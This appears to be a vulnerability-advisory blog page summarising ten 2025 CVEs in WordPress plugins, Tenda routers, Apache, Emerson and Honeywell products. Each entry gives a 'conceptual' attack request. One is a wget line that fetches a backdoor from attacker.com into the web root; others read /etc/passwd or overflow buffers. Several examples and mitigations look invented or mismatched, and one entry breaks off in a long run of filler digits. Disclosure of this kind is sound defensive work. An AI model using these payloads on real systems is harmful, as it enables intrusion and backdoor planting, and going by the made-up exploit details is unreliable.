Author: Ameeba

CVE-2025-5392: Critical Remote Code Execution Vulnerability in GB Forms DB Plugin for WordPress
Overview

CVE-2025-5392 is a highly critical cybersecurity vulnerability found in the GB Forms DB plugin for WordPress, affecting all versions up to and including 1.0.2. This vulnerability is significant as it allows for Remote Code Execution (RCE), a potent type of cyber attack where an attacker can run arbitrary code remotely on the victim’s server. In the cyber world, RCE vulnerabilities are considered high-impact threats due to their potential to compromise entire systems, and this one is no exception.
This vulnerability matters because it gives unauthenticated attackers the ability to manipulate the gbfdb_talk_to_front() function of the GB Forms DB plugin, leading to the execution of malicious code on the server. This could potentially enable attackers to inject backdoors or create new administrative user accounts, among other damaging actions, putting data integrity and system security at risk.

Vulnerability Summary

CVE ID: CVE-2025-5392
Severity: Critical – CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GB Forms DB Plugin for WordPress | Up to and including 1.0.2

How the Exploit Works

The vulnerability lies within the gbfdb_talk_to_front() function of the GB Forms DB plugin for WordPress. This function accepts user input and passes it through the call_user_func() function. By exploiting this vulnerability, unauthenticated attackers can pass malicious code as user input, which is then executed on the server, leading to remote code execution.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request, with a malicious payload injected as user input:
```
POST /gbfdb_talk_to_front HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "call_user_func('system', 'wget http://attacker.com/backdoor.php -O /var/www/html/backdoor.php')" }
```
In this example, the attacker is using the system function to download a backdoor shell script from their server and place it in the web root directory of the target server.

Mitigation

The easiest and most effective mitigation for this vulnerability is to apply the vendor’s patch. If a patch is not immediately available or applicable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These tools can be configured to identify and block attempts at exploiting this vulnerability. Regardless, it is crucial to apply the vendor patch as soon as it’s available.
July 17, 2025
CVE-2025-7401: Critical File Read/Write Vulnerability in Premium Age Verification / Restriction for WordPress Plugin
Overview

In the current digital era, security is paramount for all online platforms. This blog post delves into a glaring vulnerability in the WordPress ecosystem. The vulnerability, identified as CVE-2025-7401, affects the Premium Age Verification / Restriction plugin for WordPress. This plugin, designed to aid in restricting content to specific age groups, has been found to suffer from a critical flaw that could expose a website to significant risks. The vulnerability is notable due to its potential impact, as it allows unauthenticated attackers to read from or write to arbitrary files on the website’s server, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-7401
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage due to arbitrary file read/write

Affected Products

Product | Affected Versions

Premium Age Verification / Restriction for WordPress | All versions up to and including 3.0.2

How the Exploit Works

The vulnerability lies in the remote support functionality of the plugin, specifically in the remote_tunnel.php file. The insufficiently secured remote support feature can be exploited by unauthenticated attackers to read from or write to arbitrary files on the server. This could lead to the exposure of sensitive information or even remote code execution.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability. This is a sample HTTP POST request that points towards the vulnerable endpoint:
```
POST /wp-content/plugins/premium-age-verification/restricted_files/remote_tunnel.php HTTP/1.1
Host: victimwebsite.com
Content-Type: application/json
{ "command": "read", "filePath": "/etc/passwd" }
```
In this example, an attacker uses the “read” command to read the content of “/etc/passwd”, a sensitive system file. Note that this is a simplified example, and real-world exploits might be more complex.

Mitigation Guidance

To mitigate this vulnerability, the plugin’s vendor has released a patch. Users are strongly encouraged to apply this patch as soon as possible to secure their systems. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. As always, keep your systems and software updated to the latest version, and monitor your server logs for any suspicious activities.
July 17, 2025
CVE-2025-7418: Critical Buffer Overflow Vulnerability in Tenda O3V2
Overview

The security vulnerability CVE-2025-7418 is a critical issue found in the Tenda O3V2 1.0.0.12(3880) which can potentially lead to a system compromise or data leakage. This vulnerability affects the function fromPingResultGet of the file /goform/setPing of the component httpd. The severity of this vulnerability, based on its CVSS score, makes it a high-priority issue for any organization utilizing this product.
This vulnerability matters because it allows potential attackers to manipulate the ‘destIP’ argument, causing a stack-based buffer overflow. This type of attack can cause the application to crash, execute arbitrary code, or even allow unauthorized access to sensitive data. What’s worse is that this exploit can be conducted remotely, making it a significant threat to the security of any systems running the affected software.

Vulnerability Summary

CVE ID: CVE-2025-7418
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda O3V2 | 1.0.0.12(3880)

How the Exploit Works

The vulnerability lies within the fromPingResultGet function of the /goform/setPing file. By manipulating the ‘destIP’ argument, an attacker can cause a stack-based buffer overflow. This overflow can overwrite the application’s stack, potentially allowing for execution of arbitrary code or causing the application to crash. This attack can be initiated remotely over a network, making it even more dangerous.

Conceptual Example Code

A conceptual example of how this vulnerability could be exploited might look something like this:
```
POST /goform/setPing HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
destIP=192.168.1.1%00[buffer overflow payload]
```
In this example, the attacker sends a specially crafted POST request to the vulnerable endpoint. The ‘destIP’ argument is manipulated with a buffer overflow payload, which triggers the vulnerability.

Recommended Mitigation

The best way to mitigate this vulnerability is to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help to detect and prevent potential exploitation attempts. Always ensure that your systems are up-to-date with the latest security patches, and consider implementing a robust cybersecurity strategy that includes regular vulnerability scanning and patch management.
July 17, 2025
CVE-2025-7417: Critical Vulnerability in Tenda O3V2 Leads to Stack-Based Buffer Overflow
Overview

The cybersecurity world has recently turned its attention to a critical vulnerability found in Tenda O3V2 1.0.0.12(3880). This vulnerability, identified as CVE-2025-7417, has been classified as critical due to its potential to compromise systems or leak sensitive data. This vulnerability is not limited to local networks, but can be exploited remotely, making it a significant threat to any unpatched systems.
The severity of this vulnerability is intensified by the fact that it is now publicly known. As such, malicious entities armed with this knowledge can exploit the vulnerability if not addressed promptly. It is therefore crucial for all users and administrators of Tenda O3V2 1.0.0.12(3880) to understand the vulnerabilities, its implications, and the steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-7417
Severity: Critical (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Tenda O3V2 | 1.0.0.12(3880)

How the Exploit Works

The vulnerability resides in the function fromNetToolGet of the file /goform/setPingInfo, part of the httpd component. The flaw is a stack-based buffer overflow that can be triggered by manipulating the ‘ip’ argument.
When the ‘ip’ argument is manipulated with a specially crafted input, it overflows the buffer, thereby corrupting adjacent memory locations. This could potentially lead to the execution of arbitrary code or cause the application to crash, leading to a denial of service.

Conceptual Example Code

Here is a conceptual example of how a malicious HTTP request might look, exploiting the buffer overflow vulnerability.
```
POST /goform/setPingInfo HTTP/1.1
Host: targetIP
Content-Type: application/x-www-form-urlencoded
Content-Length: Length
ip=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (continues to overflow buffer)
```
This HTTP request is sending an excessively long ‘ip’ argument to the setPingInfo function, causing a buffer overflow. This is a conceptual example and actual exploitation would require specific knowledge of the system’s memory structure and potential payload to execute.

Mitigation

It is recommended to apply vendor-supplied patches as soon as they are available. In the absence of such patches or if application is delayed, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems should be configured to detect and block abnormal ‘ip’ arguments to the /goform/setPingInfo endpoint.
July 17, 2025
CVE-2025-52579: Critical Memory Vulnerability in Emerson ValveLink Products
Overview

In the ever-evolving landscape of cybersecurity threats, a new vulnerability has emerged, identified as CVE-2025-52579. This vulnerability is found in Emerson’s ValveLink products, which store sensitive information in cleartext in memory. It potentially affects a wide range of organizations using these products to control their industrial processes. The critical severity of this vulnerability, coupled with its potential for system compromise or data leakage, demands immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-52579
Severity: Critical (9.4 CVSS Score)
Attack Vector: Local
Privileges Required: High
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Emerson ValveLink | All Versions

How the Exploit Works

In the case of CVE-2025-52579, the vulnerability arises due to Emerson ValveLink Products storing sensitive information in cleartext in memory. If the product crashes, or if the programmer fails to properly clear the memory before freeing it, this sensitive information may remain in memory. Furthermore, this sensitive memory may be saved to disk or stored in a core dump, making it accessible to malicious actors who have local access to the system.

Conceptual Example Code

An attacker could potentially exploit this vulnerability by running a shell command to dump the memory of the affected system, as shown in this conceptual example:
```
$ sudo cat /proc/[PID]/mem > memory_dump.txt
```
In this example, the PID is the process identifier of the running Emerson ValveLink application. The command dumps the memory content of the application into a text file, potentially revealing sensitive information stored in cleartext.

Recommendations for Mitigation

The recommended solution to mitigate the risk associated with CVE-2025-52579 is to apply the vendor patch as soon as it is available. If a patch is not immediately available, a temporary mitigation would be to employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These tools can help monitor the system for any unusual activities potentially related to this vulnerability.
This vulnerability underscores the importance of following best practices for secure coding, which includes proper handling and disposal of sensitive information in memory. It serves as a reminder to developers and cybersecurity professionals alike to stay vigilant against the constant threat of cybersecurity vulnerabilities.
July 17, 2025
CVE-2025-7416: Critical Vulnerability in Tenda O3V2 Causing Stack-Based Buffer Overflow

Overview

Recently, a critical vulnerability was discovered in Tenda O3V2 1.0.0.12(3880) that has the potential to compromise systems and potentially leak sensitive data. This vulnerability is particularly concerning due to its ability to be exploited remotely, potentially allowing attackers to breach targeted systems without any physical access. This blog post will provide a detailed analysis of the vulnerability, its impact, and how it can be mitigated.
The vulnerability, known as CVE-2025-7416, affects the httpd component of the Tenda O3V2 device, specifically the fromSysToolTime function in the /goform/setSysTimeInfo file. The exploitation of this vulnerability can result in a stack-based buffer overflow, providing attackers with the ability to execute arbitrary code or cause a denial of service.

Vulnerability Summary

CVE ID: CVE-2025-7416
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Potential Data Leakage

Affected Products

Product | Affected Versions

Tenda O3V2 | 1.0.0.12(3880)

How the Exploit Works

The vulnerability is triggered by a manipulation of the ‘Time’ argument in the fromSysToolTime function. By sending a specially crafted request to the /goform/setSysTimeInfo endpoint with a malformed ‘Time’ argument, an attacker can cause a stack-based buffer overflow. This happens because of insufficient boundary checks while handling the ‘Time’ input, allowing an attacker to overwrite the stack with arbitrary values, which could lead to code execution.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. The following HTTP request sends a malicious ‘Time’ argument to the vulnerable endpoint:
“`http
POST /goform/setSysTimeInfo HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Time=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

July 17, 2025
CVE-2025-28244: Insecure Permissions Vulnerability in Alteryx Server Local Storage
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a potential risk pertaining to insecure permissions in the Local Storage feature of Alteryx Server 2023.1.1.460. The vulnerability, designated as CVE-2025-28244, poses a significant threat to data security and system integrity, as it allows remote attackers to obtain valid user session tokens from localStorage, potentially leading to account takeover. It primarily affects organizations and individuals using Alteryx Server 2023.1.1.460, and its severity necessitates urgent attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-28244
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Alteryx Server | 2023.1.1.460

How the Exploit Works

The vulnerability arises from the insecure permissions associated with the Local Storage feature in Alteryx Server 2023.1.1.460. Remote attackers can exploit these insecure permissions to gain unauthorized access to valid user session tokens stored in the localStorage. Once these tokens are obtained, they can be used to authenticate the attacker’s session as a legitimate user, effectively leading to account takeover. Furthermore, with access to a legitimate user’s account, the attacker could potentially compromise the system or leak sensitive data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This example is oversimplified but serves to illustrate the potential attack. The attacker intercepts the network traffic and sends a malicious HTTP request to the server to retrieve the user’s session token:
```
GET /localStorage/sessionToken HTTP/1.1
Host: vulnerableAlteryxServer.com
```
Upon receiving the HTTP request, the server retrieves and sends the session token to the attacker, who then uses it to authenticate their session:
```
POST /login HTTP/1.1
Host: vulnerableAlteryxServer.com
Content-Type: application/json
{ "session_token": "stolen_token" }
```
Mitigation Guidance

Users of Alteryx Server version 2023.1.1.460 are strongly recommended to apply the vendor’s patch to rectify this vulnerability. In cases where patch deployment is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure by detecting and blocking malicious activity. Regular reviews of system logs and active monitoring for any unusual activity can also help in early detection of any potential exploit attempts.
July 17, 2025
CVE-2025-53371: Critical Vulnerability in DiscordNotifications MediaWiki Extension
Overview

This blog post delves into an important cybersecurity issue that could put a number of websites at risk. The vulnerability, tracked as CVE-2025-53371, affects DiscordNotifications, an extension for MediaWiki. This extension facilitates the sending of notifications of various actions on a wiki to a Discord channel. Cybersecurity researchers have discovered a significant flaw, which if exploited, could lead to Denial of Service (DOS), Server Side Request Forgery (SSRF), and potentially even Remote Code Execution (RCE). This issue is highly critical and, therefore, needs to be taken seriously by all MediaWiki users who have implemented this extension.

Vulnerability Summary

CVE ID: CVE-2025-53371
Severity: Critical (9.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

DiscordNotifications for MediaWiki | All versions before commit 1f20d850cbcce5b15951c7c6127b87b927a5415e

How the Exploit Works

The vulnerability lies in the DiscordNotifications extension’s ability to send requests via curl and file_get_contents to arbitrary URLs set via $wgDiscordIncomingWebhookUrl and $wgDiscordAdditionalIncomingWebhookUrls. An attacker can exploit this by causing the server to read large files, leading to a DOS attack.
Moreover, if there are internal unprotected APIs that can be accessed through HTTP POST requests, SSRF becomes possible. This could potentially lead to Remote Code Execution (RCE), thereby putting the entire system at risk.

Conceptual Example Code

Suppose an attacker knows the endpoint of an internal unprotected API. They could exploit this vulnerability by sending an HTTP POST request like the following:
```
POST /internal/api/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"wgDiscordIncomingWebhookUrl": "http://malicious.example.com/largefile",
"wgDiscordAdditionalIncomingWebhookUrls": ["http://malicious.example.com/"]
}
```
In this example, the attacker is causing the server to make a request to their malicious server, which responds with a large file, causing a Denial of Service. Additionally, if the endpoint is not properly secured, this could lead to SSRF or even RCE.
To mitigate this vulnerability, users are advised to apply the patch provided by the vendor, which is available from commit 1f20d850cbcce5b15951c7c6127b87b927a5415e. Alternatively, as a temporary solution, usage of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) is recommended.
July 17, 2025
CVE-2025-23048: Apache HTTP Server Mod_SSL Access Control Bypass Vulnerability
Overview

The cybersecurity community is currently addressing an identified vulnerability in the Apache HTTP Server, specifically within versions 2.4.35 through to 2.4.63. This significant vulnerability, tagged as CVE-2025-23048, has a significant impact on the integrity of Apache servers. Particularly, it affects configurations where mod_ssl is used across multiple virtual hosts and each restricted to a different set of trusted client certificates.
This vulnerability matters because, if exploited by a savvy attacker, it can lead to an access control bypass by trusted clients, potentially resulting in system compromise or data leakage. This can have massive repercussions for businesses and organizations relying on Apache servers, especially those dealing with sensitive client data or proprietary information.

Vulnerability Summary

CVE ID: CVE-2025-23048
Severity: Critical (9.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The attacker can bypass access controls, potentially leading to system compromise or data leakage.

Affected Products

Product | Affected Versions

Apache HTTP Server | 2.4.35 – 2.4.63

How the Exploit Works

The exploit works by leveraging a flaw in the mod_ssl configurations of Apache HTTP Server. If mod_ssl is configured for multiple virtual hosts, restricted to different sets of trusted client certificates, an attacker can bypass the access control. This can occur if a client, deemed trusted for one virtual host, tries to access another virtual host where SSLStrictSNIVHostCheck is not enabled. The result is an unauthorized access control bypass and potential system compromise.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited:
```
GET /restricted/resource HTTP/1.1
Host: compromisedvirtualhost.example.com
SSL-Session: Resumed
Cert: TrustedClientCert
```
In this case, the “TrustedClientCert” that is only supposed to have access to another virtual host is used to gain unauthorized access to a different host. The SSL session is resumed, bypassing the access controls in place.
July 17, 2025
CVE-2025-2523: Integer Underflow Vulnerability in Honeywell Experion PKS and OneWireless WDM
Overview

The vulnerability CVE-2025-2523 is a significant security concern that affects Honeywell Experion PKS and OneWireless WDM. This vulnerability is rooted in the Control Data Access (CDA) component of these systems, leading to an integer underflow. The vulnerability can be utilized by attackers to manipulate the system’s communication channel, potentially enabling remote code execution. As these systems are widely used in various industries, including oil and gas, chemical, power generation, pulp, paper, and metals, this vulnerability could have far-reaching impacts if left unaddressed.

Vulnerability Summary

CVE ID: CVE-2025-2523
Severity: Critical – 9.4 (CVSS Severity Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Honeywell Experion PKS | 520.1 through 520.2 TCU9, 530 through 530 TCU3
Honeywell OneWireless WDM | 322.1 through 322.4, 330.1 through 330.3

How the Exploit Works

The vulnerability stems from an integer underflow issue in the Control Data Access (CDA) component of the Honeywell systems. An integer underflow occurs when an operation causes a number to fall below its allowable range. In this case, the system’s failure to properly handle this underflow allows an attacker to manipulate the communication channels. As a result, an attacker could potentially inject malicious code into the system, leading to remote code execution.

Conceptual Example Code

While the exact exploit details are not disclosed to prevent misuse, the conceptual example below demonstrates a typical structure of a remote code execution attack.
```
POST /CDA-communication-channel HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_code": "..." }
```
In this conceptual example, an attacker sends a POST request to the vulnerable CDA communication channel. The request contains a malicious payload designed to exploit the integer underflow vulnerability. Once the malicious code is executed, the attacker could potentially compromise the system or cause data leakage.

Mitigation Guidance

Honeywell has recommended updates to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1 for mitigation. If immediate patching is not feasible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regular monitoring and patching of systems are crucial steps in maintaining system security.
July 17, 2025